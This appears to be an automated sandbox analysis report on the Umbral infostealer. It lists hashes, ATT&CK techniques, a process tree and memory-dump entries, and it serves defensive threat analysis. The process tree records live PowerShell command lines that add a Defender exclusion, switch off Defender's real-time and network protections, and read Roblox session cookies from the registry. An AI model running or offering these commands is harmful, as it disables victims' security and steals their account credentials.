umbral | 04da8c2eabf58cfad930f0e8b70cf9158cbcf17b0544cfb4313a71f805122ec5

Analysis

max time kernel
117s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2023 20:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.exe
Size

227KB
MD5

7e9faed032d384d5b0e472edc0f3ef20
SHA1

3a5ee16bbd96b209b763769ae984025d2c9212ca
SHA256

04da8c2eabf58cfad930f0e8b70cf9158cbcf17b0544cfb4313a71f805122ec5
SHA512

5a7145c434fb63b98b46533190c89d8779d0818b35ac681f2cc1471841267256fbcce1c92ab467f7a2d1aa17aa8507bec698ef87115e0825b7a37f75eeec16de
SSDEEP

6144:+loZMCrIkd8g+EtXHkv/iD43I/njpaC9vop7mGzJrwb8e1mBi:ooZZL+EP83I/njpaC9vop7mGzh4z

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4852-0-0x00000212BB3C0000-0x00000212BB400000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2816	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3092	powershell.exe
3092	powershell.exe
1244	powershell.exe
1244	powershell.exe
756	powershell.exe
756	powershell.exe
4748	powershell.exe
4748	powershell.exe
3572	powershell.exe
3572	powershell.exe
3572	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	Umbral.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	wmic.exe
Token: SeSecurityPrivilege	3856	wmic.exe
Token: SeTakeOwnershipPrivilege	3856	wmic.exe
Token: SeLoadDriverPrivilege	3856	wmic.exe
Token: SeSystemProfilePrivilege	3856	wmic.exe
Token: SeSystemtimePrivilege	3856	wmic.exe
Token: SeProfSingleProcessPrivilege	3856	wmic.exe
Token: SeIncBasePriorityPrivilege	3856	wmic.exe
Token: SeCreatePagefilePrivilege	3856	wmic.exe
Token: SeBackupPrivilege	3856	wmic.exe
Token: SeRestorePrivilege	3856	wmic.exe
Token: SeShutdownPrivilege	3856	wmic.exe
Token: SeDebugPrivilege	3856	wmic.exe
Token: SeSystemEnvironmentPrivilege	3856	wmic.exe
Token: SeRemoteShutdownPrivilege	3856	wmic.exe
Token: SeUndockPrivilege	3856	wmic.exe
Token: SeManageVolumePrivilege	3856	wmic.exe
Token: 33	3856	wmic.exe
Token: 34	3856	wmic.exe
Token: 35	3856	wmic.exe
Token: 36	3856	wmic.exe
Token: SeIncreaseQuotaPrivilege	3856	wmic.exe
Token: SeSecurityPrivilege	3856	wmic.exe
Token: SeTakeOwnershipPrivilege	3856	wmic.exe
Token: SeLoadDriverPrivilege	3856	wmic.exe
Token: SeSystemProfilePrivilege	3856	wmic.exe
Token: SeSystemtimePrivilege	3856	wmic.exe
Token: SeProfSingleProcessPrivilege	3856	wmic.exe
Token: SeIncBasePriorityPrivilege	3856	wmic.exe
Token: SeCreatePagefilePrivilege	3856	wmic.exe
Token: SeBackupPrivilege	3856	wmic.exe
Token: SeRestorePrivilege	3856	wmic.exe
Token: SeShutdownPrivilege	3856	wmic.exe
Token: SeDebugPrivilege	3856	wmic.exe
Token: SeSystemEnvironmentPrivilege	3856	wmic.exe
Token: SeRemoteShutdownPrivilege	3856	wmic.exe
Token: SeUndockPrivilege	3856	wmic.exe
Token: SeManageVolumePrivilege	3856	wmic.exe
Token: 33	3856	wmic.exe
Token: 34	3856	wmic.exe
Token: 35	3856	wmic.exe
Token: 36	3856	wmic.exe
Token: SeIncreaseQuotaPrivilege	2852	wmic.exe
Token: SeSecurityPrivilege	2852	wmic.exe
Token: SeTakeOwnershipPrivilege	2852	wmic.exe
Token: SeLoadDriverPrivilege	2852	wmic.exe
Token: SeSystemProfilePrivilege	2852	wmic.exe
Token: SeSystemtimePrivilege	2852	wmic.exe
Token: SeProfSingleProcessPrivilege	2852	wmic.exe
Token: SeIncBasePriorityPrivilege	2852	wmic.exe
Token: SeCreatePagefilePrivilege	2852	wmic.exe
Token: SeBackupPrivilege	2852	wmic.exe
Token: SeRestorePrivilege	2852	wmic.exe
Token: SeShutdownPrivilege	2852	wmic.exe
Token: SeDebugPrivilege	2852	wmic.exe
Token: SeSystemEnvironmentPrivilege	2852	wmic.exe
Token: SeRemoteShutdownPrivilege	2852	wmic.exe
Token: SeUndockPrivilege	2852	wmic.exe
Token: SeManageVolumePrivilege	2852	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 3092	4852	Umbral.exe	86
PID 4852 wrote to memory of 3092	4852	Umbral.exe	86
PID 4852 wrote to memory of 1244	4852	Umbral.exe	89
PID 4852 wrote to memory of 1244	4852	Umbral.exe	89
PID 4852 wrote to memory of 756	4852	Umbral.exe	93
PID 4852 wrote to memory of 756	4852	Umbral.exe	93
PID 4852 wrote to memory of 4748	4852	Umbral.exe	96
PID 4852 wrote to memory of 4748	4852	Umbral.exe	96
PID 4852 wrote to memory of 3856	4852	Umbral.exe	103
PID 4852 wrote to memory of 3856	4852	Umbral.exe	103
PID 4852 wrote to memory of 2852	4852	Umbral.exe	105
PID 4852 wrote to memory of 2852	4852	Umbral.exe	105
PID 4852 wrote to memory of 1904	4852	Umbral.exe	108
PID 4852 wrote to memory of 1904	4852	Umbral.exe	108
PID 4852 wrote to memory of 3572	4852	Umbral.exe	109
PID 4852 wrote to memory of 3572	4852	Umbral.exe	109
PID 4852 wrote to memory of 2816	4852	Umbral.exe	111
PID 4852 wrote to memory of 2816	4852	Umbral.exe	111

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3572
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3e6d8eb77bd27c587a45a7097940c7d4

SHA1
74e3a8cd8bf9335a055586bd9e6ee628ed5b75f2

SHA256
e00215303122830cc64925080cd436771089266c52acd300dfb8889de57900bc

SHA512
d43c499077f5d25b4358c57b9057a5ff964924e34c5689e68ac662a461584e06a00b513a07ad7261882e284ce28e801e7a06d060c235bb17e5d9e3b2181f2fe0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
7e6444621df5580f99d39261e0e7805b

SHA1
2fe7b2d2463d42f1c27d8cb639311f24c6e2d74f

SHA256
8cb368b7143bcdb817534d6ec6e56946995a631fb50f6254c4885ad08377dcb1

SHA512
d54295b3bf4aab31a5b51364b8b88772da5a99ffbed7797c01e36a03529a7abb3b552c7821a2a44bc948ba16eed0c1934e5802ed08893892b91dd495b55258df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfahnolk.uls.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/756-44-0x0000029B75350000-0x0000029B75360000-memory.dmp

Filesize
64KB

Download
memory/756-69-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/756-43-0x0000029B75350000-0x0000029B75360000-memory.dmp

Filesize
64KB

Download
memory/756-42-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1244-38-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1244-36-0x0000023C9D440000-0x0000023C9D450000-memory.dmp

Filesize
64KB

Download
memory/1244-22-0x0000023C9D440000-0x0000023C9D450000-memory.dmp

Filesize
64KB

Download
memory/1244-23-0x0000023C9D440000-0x0000023C9D450000-memory.dmp

Filesize
64KB

Download
memory/1244-21-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/1244-34-0x0000023C9D440000-0x0000023C9D450000-memory.dmp

Filesize
64KB

Download
memory/3092-19-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/3092-16-0x0000027C4DBF0000-0x0000027C4DC00000-memory.dmp

Filesize
64KB

Download
memory/3092-15-0x0000027C4DBF0000-0x0000027C4DC00000-memory.dmp

Filesize
64KB

Download
memory/3092-14-0x0000027C4DBF0000-0x0000027C4DC00000-memory.dmp

Filesize
64KB

Download
memory/3092-8-0x0000027C4DB40000-0x0000027C4DB62000-memory.dmp

Filesize
136KB

Download
memory/3092-13-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/3572-92-0x00000279F3C20000-0x00000279F3C30000-memory.dmp

Filesize
64KB

Download
memory/3572-93-0x00000279F3C20000-0x00000279F3C30000-memory.dmp

Filesize
64KB

Download
memory/3572-91-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/3572-105-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4748-72-0x000001C61DB80000-0x000001C61DB90000-memory.dmp

Filesize
64KB

Download
memory/4748-83-0x000001C61DB80000-0x000001C61DB90000-memory.dmp

Filesize
64KB

Download
memory/4748-70-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4748-71-0x000001C61DB80000-0x000001C61DB90000-memory.dmp

Filesize
64KB

Download
memory/4748-85-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4852-0-0x00000212BB3C0000-0x00000212BB400000-memory.dmp

Filesize
256KB

Download
memory/4852-41-0x00000212BD150000-0x00000212BD16E000-memory.dmp

Filesize
120KB

Download
memory/4852-45-0x00000212BD170000-0x00000212BD180000-memory.dmp

Filesize
64KB

Download
memory/4852-87-0x00000212BD1A0000-0x00000212BD1AA000-memory.dmp

Filesize
40KB

Download
memory/4852-88-0x00000212D5AE0000-0x00000212D5AF2000-memory.dmp

Filesize
72KB

Download
memory/4852-40-0x00000212D5BC0000-0x00000212D5C10000-memory.dmp

Filesize
320KB

Download
memory/4852-39-0x00000212D5B40000-0x00000212D5BB6000-memory.dmp

Filesize
472KB

Download
memory/4852-35-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4852-2-0x00000212BD170000-0x00000212BD180000-memory.dmp

Filesize
64KB

Download
memory/4852-1-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4852-110-0x00007FFBD9F40000-0x00007FFBDAA01000-memory.dmp

Filesize
10.8MB

Download